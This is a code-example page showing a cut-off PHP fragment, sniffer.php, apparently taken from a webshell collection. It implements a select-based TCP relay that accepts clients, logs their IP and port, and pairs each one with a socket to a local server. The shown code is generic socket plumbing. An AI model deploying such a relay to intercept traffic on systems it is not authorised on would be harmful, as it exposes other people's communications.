예제 #1
0
파일: sniffer.php 프로젝트: xl7dev/WebShell
$check_socks = array($listen_sock);
// 映射客户端socket和服务端socket
// $socket_maps1将客户端socket作为key
// $socket_maps2将服务端socket作为key
// 以内存换速度,并且方便下面的搜索
$socket_maps1 = array();
$socket_maps2 = array();
// 实例化select类
$select = new select($check_socks);
while (true) {
    /*
    print_r( $socket_maps );
    print "<br />";
    */
    // select轮询,超时2秒
    foreach ($select->can_read(1) as $socket) {
        // listen_sock可读,说明有人连接上来了
        if ($socket == $listen_sock) {
            // 接受新连接,并加入到轮训数组
            $new_client = socket_accept($listen_sock);
            $select->add($new_client);
            socket_getpeername($new_client, $ip, $port);
            echo "New client connected: {$ip}, {$port}<br />";
            // 建立到真实服务器的socket
            $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            socket_connect($server_sock, "127.0.0.1", $listen_port);
            // 建立真实服务器socket和真实客户端socket之间的映射关系
            $socket_maps1[$new_client] = $server_sock;
            $socket_maps2[$server_sock] = $new_client;
            // 添加到select轮询中
            $select->add($server_sock);